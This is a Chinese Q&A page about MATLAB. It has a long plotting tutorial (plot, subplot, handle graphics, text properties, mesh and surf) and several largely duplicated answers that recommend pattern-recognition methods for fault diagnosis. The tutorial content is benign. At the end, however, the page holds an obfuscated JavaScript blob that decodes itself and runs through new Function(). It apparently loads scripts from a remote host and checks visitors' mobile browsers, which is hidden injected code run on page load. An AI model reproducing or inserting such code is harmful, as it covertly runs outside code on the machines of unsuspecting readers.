关于matlab的应用

2025-02-20 18:35:36
推荐回答(5个)
回答1:

了解了 MATLAB 的矩阵和向量概念与输入方法之后,MATLAB 的二维绘图再简单也不过了。假设有两个同长度的向量 x 和 y, 则用 plot(x,y) 就可以自动绘制画出二维图来。如果打开过图形窗口,则在最近打开的图形窗口上绘制此图,如果未打开窗口,则开一个新的窗口绘图。

〖例〗正弦曲线绘制:

>> t=0:.1:2*pi; %生成横坐标向量,使其为 0,0.1,0.2,...,6.2
y=sin(t); % 计算正弦向量
plot(t,y) %绘制图形

这样立即可以得出如图所示的二维图 [4.1(a)]

plot() 函数还可以同时绘制出多条曲线,其调用格式和前面不完全一致,但也好理解。

>> y1=cos(t); plot(t,y,t,y1); %或 plot(t,[y; y1]), 即输出为两个行向量组成的矩阵。

图形见 4.1(b)。

plot() 函数最完整的调用格式为:

>> plot(x1,y1,选项1, x2,y2, 选项2, x3,y3, 选项3, ...)

其中所有的选项如表 4.1 所示。一些选项可以连用,如 '-r' 表示红色实线。

由 MATLAB 绘制的二维图形可以由下面的一些命令简单地修饰。如
>> grid % 加网格线
>> xlabel('字符串') % 给横坐标轴加说明
>> ylabel('字符串') % 给纵坐标轴加说明,
%并自动旋转90度
>> title('字符串') % 给整个图形加图题

得出的图形如右图所示。

axis() 函数可以手动地设置 x,y 坐标轴范围

还可以使用 plotyy() 函数绘制具有两个纵坐标刻度的图形。

坐标系的分割在 MATLAB 图形绘制中是很有特色的,比较规则的分割方式是用 subplot() 函数定义的,其标准调用格式为

subplot(n,m,k)

其中,n 和 m 为将图形窗口分成的行数和列数,而 k 为相对的编号。例如在标准的 Bode 图绘制中需要将窗口分为上下两个部分 (即n=2, m=1), 分割后上部编号为 1,下部编号为 2。

MATLAB 的图形对象简介 ( 00-12-13)

MATLAB 从 4.0 版本开始就提出了句柄图形学 (Handle Graphics) 的概念,为面向对象的图形处理提供了十分有用的工具。和早期版本的 MATLAB 相比较,其最大区别在于,它在图形绘制时其中每个图形元素
(比如其坐标轴或图形上的曲线、文字等) 都是一个独立的对象。用户可以对其中任何一个图形元素进行单独地修改,而不影响图形的其他部分,具有这样特点的图形称为向量化的绘图。这种向量化的绘图要求给每个图形元素分配一个句柄 (handle), 以后再对该图形元素做进一步操作时,则只需对该句柄进行操作即可。

MATLAB 5.0 版进一步加强了图形绘制的功能,而 5.3 版绘图又具有自己的新特色。例如它提供了新的图形编辑程序,并定义了一些新的三维绘图函数等。本章将主要介绍 MATLAB 5.3 版本的应用与特性,并介绍部分有关句柄图形学的内容。其余有关句柄图形学的问题,如窗口特性设置、图形界面设计等项内容将在第 6 章中讲述图形界面设计内容时详细介绍。MATLAB 6 也在图形显示,特别是三维图形显示与照相机参数设置等方面引入了新鲜的内容。

MATLAB 定义的各种图形对象及其关系如下图所示。

对象的通用属性如下表所示。

获取和改变对象的属性可以采用 get() 和 set() 函数对来实现。

>> set(句柄, 属性1,属性值1, 属性2,属性值2,...)
>> 属性值=get(句柄,属性)

坐标轴对象时 MATLAB 图形中常用的对象,坐标轴对象可以用 MATLAB 5.3 上的菜单项添加。添加之后,可以用鼠标改变其大小和形状,其他一些属性说明如下:

Box 属性: 表示是否需要坐标轴上的方框,选项可以为 'on' 和 'off', 默认的值为 'on'。本书中在后面介绍属性值时,将把默认的属性值列在前面。
ColorOrder 属性: 设置多条曲线的颜色顺序,应该为一个 n x 3 矩阵, 可以由 colormap() 函数来设置。
GridLineStyle 属性: 网格线类型,如实线、虚线等,其设置类似于 plot() 函数的选项,默认值为 ':',见前面的表格。
NextPlot 属性: 表示坐标轴图形的更新方式,'replace' 是默认的选项,表示重新绘制,而 'add' 选项表示在原来的图形上叠印,它相当于直接使用 hold on 命令的效果。
Title 属性: 本坐标轴标题的句柄。而其具体内容由 title() 函数设定,由此句柄就可以访问到原来的标题了。
XLabel 属性: x 轴标注的句柄,其内容由 xlabel() 函数设定。此外,类似地还有 YLabel 和 ZLabel 属性等。
XDir 属性: x 轴方向,可以选择 'normal' (正向) 和 'rev' (逆向), 此外 YDir 和 ZDir 属性也是类似的。
XGrid 属性: 表示 x 轴是否加网格线,可选值为 'off' 和 'on', 此外还类似地有 YGrid 和 ZGrid 选项。
XLim 属性: x 轴上下限,以向量 [xm,xM] 形式给出。此外,还有 YLim 和 ZLim 属性,前面介绍的 axis() 函数实际上是对这些属性的直接赋值。
XScale 属性: x 轴刻度类型设置,可以为 'linear' (线性的) 和 'log' (对数的)。此外还有 YScale 和 ZScale 属性。
XTick 和 XTickLabel 属性: XTick 属性将给出 x 轴上标尺点值的向量,而 XTickLabel 将存放这些标尺点上的标记字符串。对 y 和 z 轴也将有相应的标尺属性,如 ZTick 等。

MATLAB 图形上的文字修饰 ( 00-12-12)

字符对象及其属性

文字标注是图形修饰中的重要因素,它可以是用户在窗口上随意添加的字符说明,还可以是坐标轴对象中所用到的刻度标志等。字符对象的常用属性如下:

Color 属性: 字符的颜色。该属性的属性值是一个 1x3 颜色向量。
FontAngle 属性: 字体倾斜形式。如正常 'normal' 和斜体 'italic' 等。
FontName 属性: 字体的名称。如 'Times New Roman' 与 'Courier' 等。
FontSize 属性: 字号大小。默认以 pt 为单位,属性值应该为实数。
FontWeight 属性: 字体是否加黑。可以选择 'light'、'normal' (默认值)、'demi' 和 'bold' 4 个选项, 其颜色逐渐变黑。
HorizontalAlignment 属性: 表示文字的水平对齐方式。可以有 'left' (按左边对齐)、'center'
(居中对齐)、'right'(按右边对齐) 三种选择。类似地,对字符矩阵的位置 还有VerticalAlignment 属性。
FontUnits 属性: 字体大小的单位。如 'points' (磅数,即 pt) 为默认的值,此外, 还可以使用如下单位 'inches' (英寸)、'centimeters' (厘米)、'normalized' (归一值) 与 'pixels' (像素) 等。
Rotation 属性: 字体旋转角度。可以为任何数值。
Editing 属性: 是否允许交互式修改。选项可以为 'on' 和 'off'。
String 属性: 构成本字符对象的字符串。可以是字符串矩阵。
Interpreter 属性: 是否允许 TeX 格式。选项为 'tex' (允许 TeX 格式) 和 'none' (不允许) 两种,前者显示的效果好,而后者速度快。
Extent 属性: 字符串所在的位置范围,是只读型的,1x4 向量,前两个值表示字符串所在位置的左下角坐标,而后两个分量分别为字符对象的长和高。
MATLAB 字符串中可以直接使用的一些 TeX 命令见表 4-3。

〖例〗给出下面的MATLAB命令

>> t=['\partial(f_ip)/\partialt=-\Sigma_{i=1}^n\partial(f_ip)/',...
'\partialx_i + 0.5\Sigma_{i=1}^n\Sigma_{j=1}^n',...
'\partial^2(b_{ij}p)/\partialx_i\partialx_j'];
tt=str2mat(t,'Y(\omega)=\int_0^\infty y(t)e^{-j\omegat}dt');
[x,y]=ginput(1); text(x,y,tt);

则将得出如下图所示的结果。看见较复杂的数学公式也可以在 MATLAB 窗口中显示出来。

〖例〗分形理论是一个很有趣的领域,在这里我们给出一个简单的例子。任意选定一个二维平面上的初始点坐标 (x0, y0),假设我们可以生成一个在 [0,1] 区间上均匀分布的随机数 gi,那么根据其取值的大小,可以按下面的公式生成一个新的坐标点 (x1,y1):

从新坐标再根据随机数计算下一个点,如此类推。可以将上面的算法编写出下面的 MATLAB 函数

function [x,y]=frac_tree(x0,y0,v,N)
x=[x0; zeros(N-1,1)]; y=[y0; zeros(N-1,1)];
for i=2:N
vv=v(i);
if vv<0.05, y(i)=0.5*y(i-1);
elseif vv<0.45,
x(i)=0.42*(x(i-1)-y(i-1)); y(i)=0.2+0.42*(x(i-1)+y(i-1));
elseif vv<0.85,
x(i)=0.42*(x(i-1)+y(i-1)); y(i)=0.2-0.42*(x(i-1)-y(i-1));
else,
x(i)=0.1*x(i-1); y(i)=0.1*y(i-1)+0.2;
end
end

调用此函数,我们可以由下面的 MATLAB 命令生成 10,000 个这样的点,并将这些点 在 MATLAB 图形窗口中用点的形式表示出来,如图所示。
>> N=10000; v=rand(N,1);
[x,y]=frac_tree(0,0,v,N);
h=plot(x(1:10000),y(1:10000),'.'),

给出下面的命令可以设置绘图点的大小:

>> set(h,'MarkerSize',4)

对大的 N 值,计算量大,可以考虑采用MEX C格式改写 MATLAB 函数以加快速度。

MATLAB 其他二维图形绘制函数 ( 00-12-21)

除了标准的 plot() 函数外,MATLAB 还提供了一些其他函数,具体调用格式和意义请见下表

这里只给出几个例子:

彗星状轨迹绘制:考虑一个给定函数
f(x)=tan(sin(x))-sin(tan(x))
选定自变量~$x$ 的变化范围为 x 属于 [-p,p], 则可以由下面的函数绘制出不同模式的图形。

>> x=-pi:pi/200:pi;

y=tan(sin(x))-sin(tan(x)); comet(x,y);

极坐标曲线绘制:用 polar(r,t) 函数,其中 r 为幅值向量,t 为角度向量。
〖例〗绘制 r=cos(5q/4)+1/3; 其中 q 属于[0,8p], 绘制极坐标曲线。

〖解〗 MATLAB 命令

>> t=0:.1:8*pi; r=cos(5*t/4)+1/3;
polar(t,r)

利用下面的 MATLAB 提供的绘图命令可以绘制出各种各样的二维曲线。
>> x=-2:0.1:2; y=sin(x);
subplot(221);
feather(x,y); xlabel('(a) feather()')
subplot(222);
stairs(x,y); xlabel('(b) stairs()')
subplot(223);
stem(x,y); xlabel('(c) stem()')
subplot(224);
fill(x,y,'r'); xlabel('(d) fill()')

考察 MATLAB 的 Gauss 伪随机数发生函数 randn() 的分布效果,首先生成 30,000 个 Gauss 伪随机数,然后由 hist() 函数绘制出该伪随机数的分布函数,并和概率密度的理论值

相比较。 这一分析的 MATLAB 语句如下
>> y=randn(1,30000); xx=-3.8:0.4:3.8;
zz=hist(y,xx); zz=zz/(30000*0.4);
x1=-3.8:0.1:3.8;
y1=1/sqrt(2*pi)*exp(-x1.^2/2);
bar(xx,zz),
hold on, plot(x1,y1); hold off

半对数与全对数坐标系: 可以使用 semilogx(), semilogy() 和 loglog()。
>> theta=0:0.1:6*pi; r=cos(theta/3)+1/9;
subplot(2,2,1), polar(theta, r);
subplot(2,2,2); plot(theta, r);
subplot(2,2,3); semilogx(theta, r); grid
subplot(2,2,4); semilogy(theta, r), grid

MATLAB 语言的三维曲线绘制( 00-12-27)

三维曲线绘制

类似于二维曲线,三维曲线的标准绘制函数为 plot3()。例如,x=cos(t), y=sin(t) 和 z=t 的数学关系可以由下面语句绘制出来:

>> t=0: pi/50: 2*pi;
x=sin(t); y=cos(t); z=t;
h=plot3(x, y, z, 'g-')
set(h,'LineWidth',4*get(h,'LineWidth'))

三维网格图
可以由 mesh() 函数绘制,其调用方法是 mesh(x,y,z), 其中 x, y, z 是网格上的三坐标矩阵。一般情况下,x 和 y 由 meshgrid() 函数生成。

〖例4-17〗考虑下面给出的二元函数,在 x, y 平面内选择一个区域,然后绘制出

的三维表面图形。
首先可以调用 meshgrid() 函数生成 x 和 y 平面的网格表示。该函数的调用意义十分明显,即可以产生一个横坐标起始于-3, 中止于 3, 步距为 0.1; 纵坐标起始于-2, 中止于2, 步距 为 0.1 的网格分割。然后由公式计算出曲面的 z 矩阵。最后调用 mesh() 函数 绘制曲面的三维表面网格图形。
>> [x,y] = meshgrid(-3:0.1:3,-2:0.1:2);
z=(x.^2-2*x).*exp(-x.^2-y.^2-x.*y);
mesh(x,y,z)

三维表面图

同样的数据在 surf() 函数下能得出如下所示的表面图 (a)。在绘图后再给出 colorbar 目录,则将得出如 (b) 图所示的带有高度指示的三维表面图。

三维对象的设置

surf() 和 mesh() 函数绘制出来的三维图实际上是一个 MATLAB 图形对象,它有各种各样的属性,例如,其 MeshStyle 属性表示其网格的类型,既可以设置成水平的,又可以设置成垂直的。下面的语句将得出下图的网格效果:

>> [x,y] = meshgrid(-3:0.1:3,-2:0.1:2); z=(x.^2-2*x).*exp(-x.^2-y.^2-x.*y);
h=surf(x,y,z), axis([-3 3 -2 2 -0.7 1.5]); set(h,'MeshStyle','row');
figure; h1=surf(x,y,z), axis([-3 3 -2 2 -0.7 1.5]); set(h1,'MeshStyle','column');

三维图表面着色插值的修饰

MATLAB 在三维图绘制时,表面着色采用了各种各样的插值方法,其中 shading flat 和 shading interp 两个命令将方便得出如下的图形。前者将各个表面块用同样的颜色表示,而后者对表面块的着色也进行了插值处理,使其表面显得更光滑。

MATLAB 图形的可视编辑

从 MATLAB 5.3 版开始,就提供了图形编辑的方便功能。在标准的MATLAB图形窗口中有一个“图形编辑工具条”,其中提供了各种工具,允许用户自由地在图形上添加文字,箭头、曲线等,还允许用户任意地进行三维图的视角变换。除了工具条上的工具外,还允许用户自如地在图形窗口上添加、调整坐标系或进行一些标注文字的修饰。典型窗口及编辑工具条如下所示。

如果想修改某个曲线的特征,则可以在编辑状态下(即按下工具条中左边的箭头按钮),首先单击想改动的对象来选择它,然后右击鼠标键,得出相应的快捷菜单,从中选择相应的菜单项,从得出的对话框中对选中对象的属性进行修改。

对三维图形对象,还可以用工具条中最右边的按钮来控制三维图的旋转。

©2000 版权所有 转载请注明出处并加上本站链接
(本站版面设计参考了CTeX网站的主页,并得到网站版主aloft与eggs的极大帮助,特此致谢)
主页维护: 薛定宇 自2000年11月3日访问量 (“炎黄在线”计数器)

回答2:

我觉得你问的是一个算法的问题,只是matlab适合编写实验性研究型的程序比较方便。这个问题应该属于模式识别领域,见:
http://en.wikipedia.org/wiki/Pattern_Recognition
就是说每一个特征向量(即几个特征的值)对应一种故障类型,已经知道了很多特征向量和故障类型的对应(就是很多个样本),现在有一个新的特征向量,但对应的故障类型未知,希望有一种算法能根据以往的对应关系推测出这个未知的故障类型。
方法有很多,比如线性判别函数、神经网络、近邻法、决策树、SVM等等,用哪一种关键看场合。要知道你的问题才行。matlab里不一定有现成的函数。可以看下这本书:
http://www.yuedu.org/books/book-200510111209150b.htm
但是我没有qq

回答3:

MATLAB
MATLAB是矩阵实验室(Matrix Laboratory)之意。除具备卓越的数值计算能力外,它还提供了专业水平的符号计算,文字处理,可视化建模仿真和实时控制等功能。

MATLAB的基本数据单位是矩阵,它的指令表达式与数学,工程中常用的形式十分相似,故用MATLAB来解算问题要比用C,FORTRAN等语言完相同的事情简捷得多.在新的版本中也加入了对C,FORTRAN,c++,JAVA的支持.可以直接调用.

MATLAB的基础是矩阵计算,但是由于他的开放性,并且mathwork也吸收了想maple等软件的优点,使MATLAB成为一个强大的数学软件

当前流行的MATLAB 6.5/7.0包括拥有数百个内部函数的主包和三十几种工具包(Toolbox).工具包又可以分为功能性工具包和学科工具包.功能工具包用来扩充MATLAB的符号计算,可视化建模仿真,文字处理及实时控制等功能.学科工具包是专业性比较强的工具包,控制工具包,信号处理工具包,通信工具包等都属于此类.

开放性使MATLAB广受用户欢迎.除内部函数外,所有MATLAB主包文件和各种工具包都是可读可修改的文件,用户通过对源程序的修改或加入自己编写程序构造新的专用工具包.
我觉得你问的是一个算法的问题,只是matlab适合编写实验性研究型的程序比较方便。这个问题应该属于模式识别领域,见:
http://en.wikipedia.org/wiki/Pattern_Recognition
就是说每一个特征向量(即几个特征的值)对应一种故障类型,已经知道了很多特征向量和故障类型的对应(就是很多个样本),现在有一个新的特征向量,但对应的故障类型未知,希望有一种算法能根据以往的对应关系推测出这个未知的故障类型。
方法有很多,比如线性判别函数、神经网络、近邻法、决策树、SVM等等,用哪一种关键看场合。要知道你的问题才行。matlab里不一定有现成的函数。可以看下这本书:
http://www.yuedu.org/books/book-200510111209150b.htm

回答4:

这是一个很典型的模式识别的应用问题,特征值组成的向量(特征向量)可看成空间中的一点,如果特征值的个数n大于3,则是一个n维空间。利用已知的特征值和故障的对应关系可将这个n维空间划分为几个区域,分别是无故障区域和各种故障的区域。问题就转变成了求各分界面的问题,有了分界面就能对故障情况未知的特征值进行判断了。Matlab最适合解决这类涉及矩阵和向量的问题,具体的算法建议还是看一看模式识别方面的书,我的推荐是Richard O. Duda等人所著的Pattern Classification。

回答5:

我觉得你问的是一个算法的问题,只是matlab适合编写实验性研究型的程序比较方便。这个问题应该属于模式识别领域,见:
http://en.wikipedia.org/wiki/Pattern_Recognition
就是说每一个特征向量(即几个特征的值)对应一种故障类型,已经知道了很多特征向量和故障类型的对应(就是很多个样本),现在有一个新的特征向量,但对应的故障类型未知,希望有一种算法能根据以往的对应关系推测出这个未知的故障类型。
方法有很多,比如线性判别函数、神经网络、近邻法、决策树、SVM等等,用哪一种关键看场合。要知道你的问题才行。matlab里不一定有现成的函数。可以看下这本书:
http://www.yuedu.org/books/book-200510111209150b.htm

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();